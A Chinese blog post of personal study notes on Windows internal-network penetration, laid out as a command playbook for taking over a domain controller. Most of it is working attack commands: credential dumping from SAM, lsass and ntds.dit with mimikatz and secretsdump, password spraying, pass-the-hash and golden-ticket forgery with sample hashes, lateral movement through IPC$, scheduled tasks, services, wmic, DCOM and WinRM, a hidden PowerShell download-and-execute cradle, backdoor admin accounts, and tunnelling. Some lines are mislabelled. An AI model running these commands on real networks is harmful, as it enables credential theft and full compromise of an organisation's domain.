复盘内网渗透学习笔记

内网渗透的起点:先拿下一台内网主机

内网渗透的最终目的:拿下域控

内网渗透的两个大步骤(合理授权情况下,不需要考虑清理痕迹)

  • 第一步,信息收集,收集本地的信息,账号口令,白银黄金票据,端口,还收集存活主机
  • 第二步,横向移动,从发现的存活主机,开始横向渗透,拿下存活的主机,直到拿下域控

(0)前言

内网渗透的开始是,先拿下内网中的一台主机

一般情况下:

通过web渗透,拿下服务器
通过信息收集:获取vpn账号
通过社工/钓鱼,拿下一台内网主机

其他情况:

近源攻击:插入u盘到内部主机,或者,通过内部无线网络进行攻击

供应链攻击:第三方供应商或合作伙伴的网络进行跳板攻击

(一)信息收集

1、收集本机信息

Ipconfig         网络配置信息

systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本"          查询操作系统和版本信息

echo %PROCESSOR_ARCHITECTURE%       查看系统体系结构

wmic product get name,version        查看安装的软件及版本

wmic service list brief         本机服务信息

wmic process list brief         进程信息

tasklist           进程信息

wmic startup get command,caption         启动程序信息

schtasks /query /fo LIST /v         计划任务信息

net statistics workstation            主机开机时间信息

net user         用户列表信息

wmic useraccount get name ,SID              用户列表信息

net session           列出会话

netstat ‐ano         查询端口列表

systeminfo           查看补丁列表

wmic qfe get Caption,Description,HotFixID,InstalledOn         查看补丁列表

net share              查询共享列表

wmic share get name,path,status             查询共享列表

route print            路由信息

 

netsh firewall show state            查看防火墙是否开启

netsh firewall set opmode disable             关闭防火墙

netsh firewall show config          查看防火墙配置

netsh advfirewall firewall add rule name="pass nc"
dir=in action=allow program="C:\nc.exe" 允许指定的程序进行全部的连接

netsh advfirewall firewall add rule name="Allownc"
dir=out action=allow program="C: \nc.exe"  允许指定程序退出

netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP
dir=in localport=3389 action=allow  允许3389端口放行

net start TermService          开启远程桌面服务

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr
收集WiFi密码

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP‐Tcp" /V PortNumber        查询RDP端口

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"       查看代理配置信息

cmdkey /l             查看当前保存的登陆凭证

arp ‐a           Arp信息

dir %APPDATA%\Microsoft\Windows\Recent           查看最近打开的文档

net localgroup             查询本机用户组

net localgroup administrators           管理员组成员列表

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*         RDP凭证

wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list             杀毒软件查询

2、收集内网存活ip

nbtscan.exe 192.168.68.0/24             基于NetBIOS

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.68.%I | findstr "TTL="             基于icmp

arp.exe -t 192.168.68.0/24                基于arp协议

kscan.exe -t 192.168.68.0/24            基于Kscan工具

fscan_1.7.0.exe -h 192.168.1.1/24 -np -no -nopoc        基于fscan工具

3、收集开放端口

kscan.exe -t 192.168.41.131 -p 1-65535     基于kscan工具

fscan.exe -t  192.168.41.131 -p 1-65535     基于fscan工具

 对渗透有用的端口:

文件共享服务端口

远程连接服务端口

Web 应用服务端口

数据库服务端口

邮件服务端口

网络常见协议端口

特殊服务端口

4、收集域信息

4.1 基本域信息

whoami         查看当前权限

Ipconfig /all          以查看网关IP地址、DNS的IP地址,域名、本机是否和DNS服务器处于同一网段等信息

Nslookup             解析域名的IP地址,

SystemInfo | findstr "域"      查看域,WorkGroup表示当前服务器不在域内

net config workstation        查看域

Net time /domain               查看主机是否属于domain域

net view /domain         查看域

net view/domain:域名        查询域内所有计算机

net group /domain             查询域内所有用户组列表

net accounts /domain         获取域密码信息

nltest /domain_trusts          获取域信任信息

4.2 查找域控

nltest /DCLIST:域名             查看域控制器的机器名

nslookup ‐type=SRV _ldap._tcp        查看域控制器的主机名

net time /domain         查看时间服务器(一般时间服务器为域控)

net group "Domain Controllers" /domain        查看域控制器组

4.3 查看域内用户

net user /domain         向域控制器进行查询

wmic useraccount get/all           获取域内用户的详细信息

dsquery user         查看存在的用户

net localgroup administrators           查询本地管理员组用户administrators

net group "domain admins" /domain       查询域管理用户

net group "Enterprise Admins" /domain          查询域管理员用户组

4.4 定位域管理员

手动查询

net view /domain 查看当前域名

net view /domain:域名 查看域内部所有计算机名

net group /domain 查看域内部所有用户组列表

net group "domain computers" /domain 查看所有域成员计算机列表

net accounts /domain 查看域密码信息

nltest /domian_trusts 获取域信任信息

nltest /DCLIST:域名 查看域控制器机器名

net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名

net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分

net user /domain 查询域内用户,会看到熟悉的krbtgt用户

wmic useraccount get /all 获取域内用户详细信息

dsquery user 查看域内存在的用户

net localgroup administrators 查看本地管理员用户组

net group "domain admins" /domain 查询域管理员用户

 

工具:

psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]

PVEFindADUser.exe -current             枚举域用户

netview.exe

4.5 Ntds.dit文件与读取方式

Ntds.dit文件

Ntds.dit文件:ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,ntds.dit包括三个主要表:数据表、链接表、sd表


位置:C:\Windows\NTDS

读取ntds.dit文件

ntdsutils.exe提取ntds.dit

创建快照:ntdsutil.exe snapshot "activate instance ntds" create q q

加载快照:ntdsutil.exe snapshot "mount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q

复制快照:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址

删除快照:ntdsutil.exe snapshot "umount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" "delete{bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q

vssadmin提取ntds.dit

创造快照:vssadmin create shadow /for=c:

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

删除快照::vssadmin delete shadows /for=c: /quiet

vssown提取ntds.dit

启动卷影复制服务:cscript vssown.vbs /start

创建一个C盘的卷影副本:cscript vssown.vbs /create c

列出当前卷影副本:cscript vssown.vbs /list

复制文件:

 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit

C:\Users\Administrator\Desktop\ntds\ntds.dit

删除卷影副本:cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448}

IFM:

第一步:ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

第二步删除:rmdir /s/q C:\test

Impacket:

secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

离线方式读取ntds.dit文件

离线读取步骤:

将远端域控的ntds.dit下载到本地,

然后利用再在本地进行。

Esedbexport:

导出ntds.dit:esedbexport -m tables ntds.dit

将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt

python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7

output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --

lmoufile lmout | tee 1.txt

impacket:

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下:

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NTDSDump.exe:

导出哈希值:NTDSDumpEx -d ntds.dit -s system -o 1.txt

DSInternals:

导出 hash,并保存在 txt 文件里:

$key = Get-Bootkey -SystemHivePath 'system路径'

Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt

在线方式读取ntds.dit文件

Mimikatz:

读取所有用户的hash:lsadump::dcsync /domain:hack.com /all /csv

读取单个用户的hash:lsadump::dcsync /domain:hack.com /user:administrator

Quarks PwDump:

Impacket:

secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

 工具(Msf)导出ntds.dit文件

使用模块:use auxiliary/admin/smb/psexec_ntdsgrab

配置参数:

set RHOSTS 192.168.41.10

set SMBDomain hack.com

set smbuser administrator

set smbpass "123456kl;'/"

运行,ntds和system文件会被保存到/root/.msf4/loot下

5、密码抓取

5.1 window认证

window有三种认证机制:

  • 本地认证
  • 网络认证
  • 域认证

本地认证

Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功

具体过程:

winlogon.exe:是Windows NT 用户登陆程序,用于管理用户登陆和退出

LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略

winlogon.exe运行,进入登录框,用户输入密码,lsass.exe会把明文进行加密,与SAM数据库进行对比,相同会登录成功,不同登录失败

Window对明文加密的两个方法:LM、NTML

LM加密过程

第一步:明文口令转为大写

第二步:转为16进制,不足14字节的用0补全

第三步:将14个字节口令,分为两组,每组7个字节

第四步:把每一组7个字节的十六进制转为二进制,每7bit一组末尾加0,在转为十六进制,得到2组8个字节

第四步:把KGS!@#$%的十六进制,作为密钥,利用DES对两组8个字节的十六进制,进行机密,最后把两组拼接

NTLM加密过程

第一步:把明文口令转为十六进制,

第二步:在每个字节之后添加00

第三步:对其MD4加密,生成32位的十六进制

网络认证

基于挑战响应认证的NTLM协议:

第一步:客户端向服务器端发送登录请求,发送用户名

第二步:服务器查询是否存在用户,存在就随机生成16为随机数chalenge,并利用NTLM做为密钥对其加密,生成chalenge1,chalenge1存储本地,把chalenge响应给用户,如果不存在直接响应失败

第三步:客户端接受chalenge,利用hash对其加密生成response

第四步:服务器接受response,与chalenge1对比,如果相同,验证成功

 

NTML协议v1和v2区别:

NTLM v1的Challenge有8位,NTLM v1的主要加密算法是DES

NTLM v2的Challenge为16位;NTLM v2的主要加密算法是HMAC‐MD5。

域认证

域认证采用Kerberos协议认证,过程如下:


 

第一步:客户端向AS发送请求,请求中携带了自己的用户名,主机IP,和当前时间戳

第二步:AS查询用户是否存在,存在则向客户端响应,响应分两个部分,
        第一部分TGT票据(授予票据),使用TGS密码加密,包含用户身份信息(用户名,ip,时间戳),用户票据(TGS 服务器名,Session_key(CT_SK))。
        第二部分是,由客户端密钥加密,包括Session_key(CT_SK),时间戳,TGS服务器名,TGT有效时间

 

第三步:客户端接受AS响应,利用自己的密钥对第二部分解密,根据时间戳判断请求时间和当前时间是否大于5分钟,大于则认证失败,合理则客户端向TGS发送请求,请求有三个部分:

       第一部分,TGT票据,原封不动发送给TGS

       第二部分,把想要访问服务器ip,以明文的方式发送TGS
       第三部分,利用CT_SK加密,包括客户端名,ip,时间戳

第四步:服务器接受客户端请求,

        1)根据服务器ip,查看是否存在该服务器,不存在则,认证失败,存在下一步认证,

        2)利用自己的密钥对TGT其解密,查看时间戳信息,查看时间是否有效,对用户请求加密部分进行解密,查看用户信息一致则下一步响应

        3)服务器对客户端进行响应,响应分两个部分:

               第一部分:服务票据(ST)由服务器加密,包括客户端名、IP,服务器ip,时间戳,ST有效时间,密钥(CS_SK)

              第二部分:由密钥CT_SK加密,包括密钥(CS_SK)时间戳,ST有效时间

 

第五步:客户端接受响应,利用密钥CT_SK对第二部分解密,检查时间戳,向服务器端发送请求,请求分为两个部分:

       第一部分;原封不动的ST票据

       第二部分,由CS_SK密钥加密,包括客户端名,ip,时间戳,ST有效时间

第六步:服务器接受请求,利用自己的密钥对第一部分解密,获取到cs_sk密钥,对第二部分解密,先核查两个部分的用户名,ip一致之后,根据服务器ip开启相对于服务

5.2 密码抓取

Mimikatz

1)Mimikatz离线读取SAM文件抓取密码:

reg save hklm\sam sam.hive      导出sam

reg save hklm\system system.hive            导出system文件

复制文件:

copy‐vss //直接将文件保存在当前目录下

copy‐vss ‐DestinationDir 路径 //指定保存文件的路径(必须是已经存在的路径)

lsadump::sam /sam:sam.hive /system:system.hive:读取sam和system文件获取密码

2) Mimikatz在线读取sam和lsass获取密码

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"  在线读取sam文件

sekurlsa::logonPasswords           从lsass进程中提取passwords、keys、pin、tickets等信息

3) Mimikatz离线读取lsass进程抓取密码

导出文件:

Window管理器-lsass.exe右击转储文件

procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp

读取文件:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full“

其他工具破解NTLM Hash

Hashcat破解NTLM Hash:hashcat ‐m 1000 NTLM HASH 字典 ‐‐force

网站破解NTLM Hash:md5在线解密破解,md5解密加密

Getpassword

pwdump7

QuarksPwDump

Nishang

wce

浏览器、数据库等其他密码的抓取

BrowserGhost.exe

Sharp-HackBrowserData.exe

Windows RDP凭证的抓取和密码破解

查看凭据:

cmdkey /list          查看mstsc的连接记录

dir /a %userprofile%\appdata\local\microsoft\credentials\*     查找本地的Credentials

在线破解:

获取MasterKey的guid:mimikatz dpapi::cred

/in:C:\Users\Administrator\appdata\local\microsoft\credentials\票据

找到内存中对应的MasterKey:mimikatz sekurlsa::dpapi

破解凭据文件:dpapi::cred /in:凭据文件路径 /masterky:masterkey值

离线破解:

导出lsass:procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump

下载Credentials文件:

用mimikatz载入dump回来的内存:Sekurlsa::minidump lsass1.dump

获取Credentials的GUID:dpapi::cred  /in:票据

获取内存中所有的MasterKey:sekurlsa::dpapi

利用MasterKey解密:dpapi::cred /in:票据 /masterkey: masterkey值

Windows-2012R2之后抓取密码的方式

在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式,抓取明文,需要用户重新登录后才能成功抓取

修改注册表:

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v

UseLogonCredential /t REG_DWORD /d 1 /f 开启

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v

UseLogonCredential /t REG_DWORD /d 0 /f 关闭

锁屏:

rundll32.exe user32.dll,LockWorkStation 锁屏

query user 查询登录

logoff ID 下载

(二)横向移动

1、工具横向移动

1、向日葵

注册表绕过安装选择页面:[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient]

"11.1.0.37237_IsRunSeted"="1"

regedit ‐s 3.reg 注册注册表3.reg是注册表绕过选择安装页面

SunloginClient.exe 运行向日葵

shell type C:\ProgramData\Oray\SunloginClient\config.ini 查看向日葵配置文件:

fastcode:本机识别码去掉k

encry_pwd:本机验证码,密文无法直接解密,利用Sunflower_get_Password工具破解

2、远控工具todesk横向移动,

shell ToDesk1.exe /S   安装Todesk

shell type C:\"Program Files (x86)"\ToDesk\config.ini     查看配置文件

使用cs进行文件替换

重启程序,获取到明文密码,

3、远控工具GoToHTTP

4、远控工具RustDESK

运行找到配置文件:C:\Users\用户名\AppData\Roaming\RustDesk\config

手写密码,重启工具

5、psexec工具cmd

原理:开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)

2、IPC

IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息

 

IPC$利用条件:

  1. 开启了139、445端口
  2. 管理员开启了默认共享

net use \\192.168.41.30\ipc$ "密码" /user:administrator        建立一个ipc$

net use          查看

 

1、IPC+计划任务

利用:

dir \\192.168.18.10\c$        命令列出远程主机中的文件

tasklist /s 192.168.18.10      列出远程主机上运行进程

net time \\IP地址        查看系统时间

copy 文件 \\IP地址\C$            复制文件

schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f  创建计划任务

schtasks /run /s IP地址 /i /tn "计划任务名"    执行计划任务

schtasks /delete /s IP地址 /tn "计划任务名" /f       删除计划任务

net use \\IP /del /y       删除IPC连接

2、 IPC+系统服务

net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator   IPC建立连接

copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$    复制文件

sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe" 创建服务

sc \\192.168.17.138 start test      开启服务

sc \\192.168.17.138 delete test   删除服务

3、攻击横向移动

3.1 密码喷洒攻击

域内用户枚举: 在 Kerberos 协议认证的 第一阶段AS-REQ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样,根据返回包爆破用户名

密码喷洒:在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED

域内用户枚举:

kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt    

密码喷洒:

kerbrute.exe passwordspray -d 域名 密码字典 用户名               kerbrute.ex工具

crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success

3.2 PTH(pass the hash)哈希传递攻击

Pth原理:一些大型公司,使用了相同的账户和密码,如果攻击者入侵其中某一头计算机,获取到hsah,就可以利用这个hash横向登录其他计算机

条件:

目标机器开放445端口

administrator(SID为500)用户才可以pth攻击

过程:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator

/domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab

 3.3 PTK(pass the key)密钥传递攻击

原理:通过使用已经获取的身份验证密钥(例如用户的登录凭证或会话ID等)来访问或者登录到其他系统

过程:

抓取密码,获取ntlm或者aes密钥

传递密钥:

sekurlsa::pth /user:administrator/domain:hack.com

/aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232

3.4 PTT(pss the ticke)票据传递攻击

原理:窃取Kerberos协议的TGT票据或者ST票据(黄金票据和白银票据攻击),获取其他主机的控制权

过程:

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"     导出内存的票据

shell klist purge     清除票据

mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi 高权限的票据文件注入内存:

mimikatz kerberos::tgt 查看票据

dir \\2012-1.hack.com\c$   访问机器(admin 用户 没有过uac)

上线域控:

net use \\dc.hack.com

copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru

system /f

shell schtasks /run /s dc.hack.com /i /tn "test“


 

黄金票据:

原理:伪造TGT票据

条件:

        用户名:

        域名称:shell net config workstation

        域SID:shell whoami /user

        域的KRBTGT账号的HASH:mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt


白银票据:
原理:伪造ST票据

条件:

        域名

        域SID

        可利用服务器

        服务账号的NTML HASH

        伪造的用户名

4 远程命令横向

4.1、wmic远程执行命令

WMI是管理Windows系统的重要数据库工具,WMIC扩展WMI提供了从命令行

接口和批处理脚本执行系统管理的支持,

wmic就是wmic.exe,位于windows目录底下,是一个命令行程序

执行命令并且输出

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create

"cmd.exe /c ipconfig >c:\ip.txt"

列出远程主机进程

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief

在远程系统上执行bat脚本

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create

c:\programdata\test.bat

wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create

"cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1

/add

执行powershell上线

wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create

"powershell.exe -nop -w hidden -c \"IEX ((new-object

net.webclient).downloadstring('ps脚本地址'))\""

4.2 smb远程执行命令

SMB 全称是 Server Message Block服务器信息块,是一种客户端到服务器的通信协

议,用于请求与回复,

利用条件:445端口

smbexec administrator:Admin@123@192.168.41.148    输入命令

使用哈希:

smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.145

4.3 DCOM远程执行命令

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口,作用是让两台机器上的组件间的通信,

交互:

$com =

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0

.0.1"))

在远程主机上启动进程:

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c

calc.exe","Minimzed")

将IP和命令换成上线的命令:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.1 68.41.147"))

4.4 winRm远程执行命令

WinRM(Windows远程管理):若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作,默任使用5985,5986

执行命令

winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami"

 5 系统漏洞

ms17010

ms17010漏洞:其中涉及一个名为EternalBlue的漏洞(CVE-2017-0144)。该漏洞影响了Windows操作系统中的Server Message Block(SMB)协议,攻击者可以利用该漏洞执行远程代码,并在网络中传播自身。

过程:

使用cs生成bin文件

使用msf用bin文件生成dll文件

或者直接生成

 6、域攻击

跨域攻击的方式:

  1. 常规渗透方法(利用web漏洞):如SQL注入、XSS、文件包含等方式,实现跨域操作并成功攻击目标系统
  2. 哈希传递票据攻击:PTT
  3. 利用域信任关系:如果目标系统与其它系统存在域信任关系,则攻击者往往会尝试利用这种关系来实现跨域攻击

利用域信任密钥获取目标域

使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥

mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$"

"lsadump::trust /patch" exit

在普通的域内用户中创建创建高权限票据:

mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密

钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi"

Exit

上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据:

创建CIFS服务的票据进行复制文件的操作

shell asktgs.exe administrator.kirbi CIFS/DC.hack.com

将票据注入内存:shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi

访问域控:shell dir \\dc.hack.com\c$

服务恶意文件,如果复制失败,请注入host服务票据:

shell copy 2.exe \\dc.hack.com\c$

伪造host服务,进行创建计划任务

shell asktgs.exe administrator.kirbi host/DC.hack.com

将票据注入内存

shell kirbikator.exe lsa host.DC.hack.com.kirbi

创建计划任务

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f

执行计划任务

schtasks /run /s dc.hack.com /i /tn "test"

 利用krbtgt哈希值获取目标域

krbtgt哈希值是Windows域内KDC服务账户krbtgt的密码哈希值,负责生成和校验Kerberos票据的关键服务账户

过程:

获取Krbtgt散列:lsadump::lsa /patch /user:krbtgt

获取关键信息:lsadump::trust /patch

构造并注入黄金票据:

Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID519 /krbtgt:krbtgt散列 /pt

访问目标域:dir \\dc.hack.com\c$

复制恶意文件:copy 1.exe \\dc.hack.com\c$

执行计划任务:schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f

启动计划任务:schtasks /run /s dc.hack.com /i /tn "test“

 域内委派

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动

分类:

  1. 非约束性委派:它允许委派的账户获取其自身的凭据,并将这些凭据传递给其他系统,使其能够在其他系统上运行。这种类型的委派没有任何限制,因此存在一定的安全风险,攻击者如果能够获取到委派账户的凭据,就可以滥用这些凭据来访问其他系统上的资源
  2. 约束性委派:约束性委派引入了一定的限制,以增加安全性。它允许委派的账户将其凭据传递给特定的目标系统,但对于其他系统的访问是不允许的。这种类型的委派可以通过配置委派账户的属性(msDS-AllowedToDelegateTo)来实现。约束性委派要求在目标系统上配置受委派账户的委派权限,从而限制其可以访问的系统和资源
  3. 基于资源的约束性委派:基于资源的约束性委派是一种更加细粒度的委派方式,它允许特定的服务或资源在需要时启用委派能力。与传统的约束性委派不同,基于资源的约束性委派允许资源控制其可以接受的委派操作和可用的委派账户。这种类型的委派增加了对系统资源的保护和访问控制

(三)在内网渗透过程中用到的技术

 在内网环境中,只有一些特殊服务是出网的,大部分服务和主机是不出网,针对不出网问题有一下常用方法:

  1. 隧道(Tunneling):当隧道被创建时,它能够封装和转发内网流量到外网,同时也可以将外网流量转发回内网,即使在内网直接访问互联网被阻止的情况下。常见的隧道技术如SSH隧道、VPN,甚至更为复杂的隧道如Tor。

  2. 端口映射(Port Mapping):也被称为端口转发,它可以将目标网络内部的某台计算机的端口流量映射到攻击者控制的外部服务器的端口上。这意味着攻击者可以使用外部服务器作为跳板,直接与内网服务进行交互。

  3. 端口转发(Port Forwarding):这通常在路由器或防火墙上进行配置,内网渗透测试时可能会遇到该技术的变体,攻击者可能会配置受害机器上的端口转发规则,以将特定流量导向另一台内网主机,或者通过反向端口转发,将内部网络流量导向外部控制的服务器。

  4. 代理

 3.1隧道

ICMP隧道

ICMP类型:通常是ICMP Echo Request(类型值为8)或ICMP Echo Reply(类型值为0)。

ICMP代码:通常为0。

校验和:用于对数据包的完整性进行校验。

数据:这是通过隧道进行传输的数据,其具体格式和内容视具体应用而定。通常情况下在ICMP数据字段的开始(大小为2字节)和结束(大小为2字节)位置标记数据的长度和位置。

Icmp报文自身是可以携带数据的,而且icmp是系统内核处理,不占用任何端口,所有具备很高的隐藏性,把数据隐藏在icmp数据包包头的data字段中,建立隐藏隧道,实现绕过发挥防火墙和入侵检查系统的拦截

Icmp隧道的优点:

Icmp隐蔽传输是无连接的,传输不是很稳定,而且传输通道带宽很低,

利用隧道传输时候,需要接触更低层次的协议,需要高级用户权限

DNS隧道

Header(报头):包含标识、查询类型、查询数量、控制标志等字段,用于指示数据包的类型和操作。

Question(问题部分):包含一个或多个查询问题,每个问题由域名和查询类型(如A记录、AAAA记录、CNAME记录等)组成。

Answer(回答部分):包含一个或多个回答,每个回答包含了查询结果的资源记录,包括域名、TTL(生存时间)、记录类型和记录数据等信息。

Authority(权威部分):包含一个或多个权威资源记录,指示该域名的权威域名服务器。

Additional(附加部分):包含一个或多个附加资源记录,提供了与查询相关的其他信息,比如额外的IP地址或其他记录。

3.2 端口转发

端口转发就是将一个端口收到的流量转发到另一个端口,在路由器或防火墙上配置规则,将来自公共网络的请求端口转发到私有网络中指定设备的某个端口上。这样,当外部网络请求到达时,路由器或防火墙会将请求的数据包重定向到指定设备上,从而实现对该设备或服务的访问

LCX端口转发

端口转发:

Lcx -listen <转发前端口><转发后端口>

Lcx -slave <攻击机IP><转发前端口><目标IP><转发后端口>

端口映射:

Lcx -tran<等待连接的端口><目标IP><日标端口>

第一步:攻击机:监听本地53端口并且转发到本地1111端口

lcx -listen 53 1111

第二步:目标靶机:将靶机的3389端口转发到攻击机的 53端口

lcx.exe -slave 攻击机ip 53  127.0.0.1 3389     

第三步:攻击机:

远程桌面连接:127.0.0.1:1111

SSH端口转发

环境:A是攻击机,可以访问主机B,但不能直接访问C,

目标:利用端口转发,让A可以访问C

1)本地转发(正向转发):

        第一步:在B主机做端口转发:让C主机的3389端口连接B主机的8765端口,A连接B的8765端口,就相当于A连接C的3389端口

ssh -CfNg -L B端口    C的ip:C端口 A地址

        第二步:在主机A种,访问B的8765端口

2)远程转发(反向转发):

环境:A不能访问B,B可以访问A

目标:A可以访问C

        第一步:在B主机做端口转发,让C主机的22端口直接转发到A主机上

ssh -CfNg -R A端口:C的ip:C的端口  A的ip

        第二步:在A主机直接访问本地地址的A端口,就可以访问C的22端口

NETSH端口转发

netsh是windows系统自带命令行程序,需要管理员权限,才可以进行端口转发

环境:A是攻击机,可以访问主机B,但不能直接访问C,

目标:利用端口转发,让A可以访问C

第一步:在B主机端口转发,用管理员权限执行:让主机C的22端口转发到主机B的9999端口

netsh interface portproxy add v4tov4 listenaddress=B的ip地址

listenport=9999 connectport=22 connectaddress=C的ip地址

第二步,查看是否开启端口转发:

netsh interface portproxy show v4tov4

第三步:在攻击机A连接C的端口

ssh root@B的ip地址 -p 9999

第四步:删除转发:

netsh interface portproxy delete v4tov4 listenaddress=B的地址

listenport=9999

3.3 端口映射

  • 20
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值